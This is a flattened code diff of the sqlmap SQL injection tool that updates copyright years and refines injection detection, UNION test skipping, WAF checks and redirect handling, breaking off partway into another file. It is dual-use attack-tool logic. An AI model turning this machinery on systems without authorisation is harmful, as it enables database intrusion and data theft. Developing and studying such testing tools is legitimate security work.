# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
import codecs import codecs

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -47,6 +47,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import urlencode from lib.core.common import urlencode
from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError from lib.core.common import wasLastResponseHTTPError
from lib.core.convert import unicodeencode
from lib.core.defaults import defaults from lib.core.defaults import defaults
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -54,6 +55,7 @@ from lib.core.data import logger
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod from lib.core.decorators import cachedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS from lib.core.enums import HASHDB_KEYS
@@ -110,6 +112,9 @@ def checkSqlInjection(place, parameter, value):
if value.isdigit(): if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.alphaBoundaries
else: else:
boundaries = conf.boundaries boundaries = conf.boundaries
@@ -143,8 +148,7 @@ def checkSqlInjection(place, parameter, value):
# error message, simple heuristic check or via DBMS-specific # error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted # payload), ask the user to limit the tests to the fingerprinted
# DBMS # DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \ if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -153,9 +157,7 @@ def checkSqlInjection(place, parameter, value):
# message, via simple heuristic check or via DBMS-specific # message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific, # payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided # regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \ if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests " msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -203,7 +205,7 @@ def checkSqlInjection(place, parameter, value):
continue continue
match = re.search(r"(\d+)-(\d+)", test.request.columns) match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match: if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2)) lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper): for _ in (lower, upper):
if _ > 1: if _ > 1:
@@ -239,9 +241,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is not included by the # Skip tests if title, vector or DBMS is not included by the
# given test filter # given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or \ if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
re.search(conf.testFilter, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is not included by the given filter" debugMsg += "name/vector/DBMS is not included by the given filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -249,9 +249,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is included by the # Skip tests if title, vector or DBMS is included by the
# given skip filter # given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or \ if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
re.search(conf.testSkip, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is included by the given skip filter" debugMsg += "name/vector/DBMS is included by the given skip filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -333,6 +331,23 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
debugMsg = "skipping test '%s'" % title
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title infoMsg = "testing '%s'" % title
logger.info(infoMsg) logger.info(infoMsg)
@@ -439,11 +454,13 @@ def checkSqlInjection(place, parameter, value):
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload: if reqPayload:
if reqPayload in seenPayload: stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
if stripPayload in seenPayload:
continue continue
else: else:
seenPayload.add(reqPayload) seenPayload.add(stripPayload)
else: else:
reqPayload = None reqPayload = None
@@ -495,12 +512,16 @@ def checkSqlInjection(place, parameter, value):
errorResult = Request.queryPage(errorPayload, place, raise404=False) errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult: if errorResult:
continue continue
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True) _ = comparison(kb.heuristicPage, None, getRatioValue=True)
if _ > kb.matchRatio: if _ > kb.matchRatio:
kb.matchRatio = _ kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
# Reducing false-positive "appears" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True injectable = True
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -508,8 +529,13 @@ def checkSqlInjection(place, parameter, value):
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
else:
errorSet = set()
if originalSet == trueSet != falseSet: if originalSet == trueSet != falseSet:
candidates = trueSet - falseSet candidates = trueSet - falseSet - errorSet
if candidates: if candidates:
candidates = sorted(candidates, key=lambda _: len(_)) candidates = sorted(candidates, key=lambda _: len(_))
@@ -537,7 +563,13 @@ def checkSqlInjection(place, parameter, value):
falseSet = set(extractTextTagContent(falseRawResponse)) falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split()) falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet))) if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))
if candidates: if candidates:
candidates = sorted(candidates, key=lambda _: len(_)) candidates = sorted(candidates, key=lambda _: len(_))
@@ -574,10 +606,10 @@ def checkSqlInjection(place, parameter, value):
# body for the test's <grep> regular expression # body for the test's <grep> regular expression
try: try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \ output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \ output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output: if output:
result = output == "1" result = output == "1"
@@ -646,18 +678,6 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) " infoMsg += "there is at least one other (potential) "
infoMsg += "technique found" infoMsg += "technique found"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection # Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -674,7 +694,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method kb.previousMethod = method
if conf.dummy or conf.offline: if conf.offline:
injectable = False injectable = False
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
@@ -763,7 +783,7 @@ def checkSqlInjection(place, parameter, value):
if conf.multipleTargets: if conf.multipleTargets:
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='T', checkBatch=False).upper() choice = readInput(msg, default='X', checkBatch=False).upper()
else: else:
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='S', checkBatch=False).upper() choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -816,6 +836,7 @@ def checkSqlInjection(place, parameter, value):
return injection return injection
@stackedmethod
def heuristicCheckDbms(injection): def heuristicCheckDbms(injection):
""" """
This functions is called when boolean-based blind is identified with a This functions is called when boolean-based blind is identified with a
@@ -852,6 +873,7 @@ def heuristicCheckDbms(injection):
return retVal return retVal
@stackedmethod
def checkFalsePositives(injection): def checkFalsePositives(injection):
""" """
Checks for false positives (only in single special cases) Checks for false positives (only in single special cases)
@@ -859,8 +881,7 @@ def checkFalsePositives(injection):
retVal = True retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection) pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place infoMsg = "checking if the injection point on %s " % injection.place
@@ -914,6 +935,7 @@ def checkFalsePositives(injection):
return retVal return retVal
@stackedmethod
def checkSuhosinPatch(injection): def checkSuhosinPatch(injection):
""" """
Checks for existence of Suhosin-patch (and alike) protection mechanism(s) Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -921,7 +943,7 @@ def checkSuhosinPatch(injection):
if injection.place == PLACE.GET: if injection.place == PLACE.GET:
debugMsg = "checking for parameter length " debugMsg = "checking for parameter length "
debugMsg += "constrainting mechanisms" debugMsg += "constraining mechanisms"
logger.debug(debugMsg) logger.debug(debugMsg)
pushValue(kb.injection) pushValue(kb.injection)
@@ -930,13 +952,14 @@ def checkSuhosinPatch(injection):
randInt = randomInt() randInt = randomInt()
if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
warnMsg = "parameter length constrainting " warnMsg = "parameter length constraining "
warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "mechanism detected (e.g. Suhosin patch). "
warnMsg += "Potential problems in enumeration phase can be expected" warnMsg += "Potential problems in enumeration phase can be expected"
logger.warn(warnMsg) logger.warn(warnMsg)
kb.injection = popValue() kb.injection = popValue()
@stackedmethod
def checkFilteredChars(injection): def checkFilteredChars(injection):
debugMsg = "checking for filtered characters" debugMsg = "checking for filtered characters"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -971,6 +994,11 @@ def heuristicCheckSqlInjection(place, parameter):
logger.debug(debugMsg) logger.debug(debugMsg)
return None return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter] origValue = conf.paramDict[place][parameter]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
@@ -1054,13 +1082,13 @@ def heuristicCheckSqlInjection(place, parameter):
if value.lower() in (page or "").lower(): if value.lower() in (page or "").lower():
infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
logger.info(infoMsg) logger.info(infoMsg)
for match in re.finditer(FI_ERROR_REGEX, page or ""): for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower(): if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
logger.info(infoMsg) logger.info(infoMsg)
break break
@@ -1157,6 +1185,8 @@ def checkDynamicContent(firstPage, secondPage):
warnMsg += "sqlmap is going to retry the request(s)" warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL) singleTimeLogMessage(warnMsg, logging.CRITICAL)
kb.heavilyDynamic = True
secondPage, _, _ = Request.queryPage(content=True) secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage) findDynamicContent(firstPage, secondPage)
@@ -1292,6 +1322,7 @@ def checkRegexp():
return True return True
@stackedmethod
def checkWaf(): def checkWaf():
""" """
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1318,14 +1349,19 @@ def checkWaf():
retVal = False retVal = False
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
if PLACE.URI in conf.parameters:
place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload)) value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(conf.timeout) pushValue(conf.timeout)
conf.timeout = IDS_WAF_CHECK_TIMEOUT conf.timeout = IDS_WAF_CHECK_TIMEOUT
try: try:
retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException: except SqlmapConnectionException:
retVal = True retVal = True
finally: finally:
@@ -1352,6 +1388,7 @@ def checkWaf():
return retVal return retVal
@stackedmethod
def identifyWaf(): def identifyWaf():
if not conf.identifyWaf: if not conf.identifyWaf:
return None return None
@@ -1436,6 +1473,7 @@ def identifyWaf():
return retVal return retVal
@stackedmethod
def checkNullConnection(): def checkNullConnection():
""" """
Reference: http://www.wisec.it/sectou.php?id=472f952d79293 Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1447,11 +1485,11 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL" infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
try:
pushValue(kb.pageCompress) pushValue(kb.pageCompress)
kb.pageCompress = False kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD kb.nullConnection = NULLCONNECTION.HEAD
@@ -1475,9 +1513,8 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with 'skip-read' method" infoMsg = "NULL connection is supported with 'skip-read' method"
logger.info(infoMsg) logger.info(infoMsg)
except SqlmapConnectionException, ex: except SqlmapConnectionException:
errMsg = getSafeExString(ex) pass
raise SqlmapConnectionException(errMsg)
finally: finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
@@ -1485,6 +1522,7 @@ def checkNullConnection():
return kb.nullConnection is not None return kb.nullConnection is not None
def checkConnection(suppressOutput=False): def checkConnection(suppressOutput=False):
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try: try:
debugMsg = "resolving hostname '%s'" % conf.hostname debugMsg = "resolving hostname '%s'" % conf.hostname
@@ -1524,6 +1562,15 @@ def checkConnection(suppressOutput=False):
else: else:
kb.errorIsNone = True kb.errorIsNone = True
threadData = getCurrentThreadData()
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
except SqlmapConnectionException, ex: except SqlmapConnectionException, ex:
if conf.ipv6: if conf.ipv6:
warnMsg = "check connection to a provided " warnMsg = "check connection to a provided "
@@ -1554,8 +1601,8 @@ def checkInternet():
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
return CHECK_INTERNET_VALUE in (content or "") return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-linked function def setVerbosity(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
def setWafFunctions(): # Cross-linked function def setWafFunctions(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ from lib.core.common import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CONTENT_TYPE from lib.core.enums import CONTENT_TYPE
from lib.core.enums import HASHDB_KEYS from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
@@ -152,12 +153,15 @@ def _formatInjection(inj):
vector = "%s%s" % (vector, comment) vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data return data
def _showInjections(): def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
if kb.testQueryCount > 0: if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with " header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -250,6 +254,7 @@ def _saveToResultsFile():
conf.resultsFP.flush() conf.resultsFP.flush()
@stackedmethod
def start(): def start():
""" """
This function calls a function that performs checks on both URL This function calls a function that performs checks on both URL
@@ -283,7 +288,7 @@ def start():
try: try:
if conf.checkInternet: if conf.checkInternet:
infoMsg = "[INFO] checking for Internet connection" infoMsg = "checking for Internet connection"
logger.info(infoMsg) logger.info(infoMsg)
if not checkInternet(): if not checkInternet():
@@ -368,9 +373,8 @@ def start():
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else: else:
if targetUrl.find("?") > -1: if '?' in targetUrl:
firstPart = targetUrl[:targetUrl.find("?")] firstPart, secondPart = targetUrl.split('?', 1)
secondPart = targetUrl[targetUrl.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart) test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test) test = _randomFillBlankFields(test)
@@ -404,8 +408,7 @@ def start():
if conf.nullConnection: if conf.nullConnection:
checkNullConnection() checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display # NOTE: this is not needed anymore, leaving only to display

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -97,6 +97,7 @@ class Agent(object):
paramString = conf.parameters[place] paramString = conf.parameters[place]
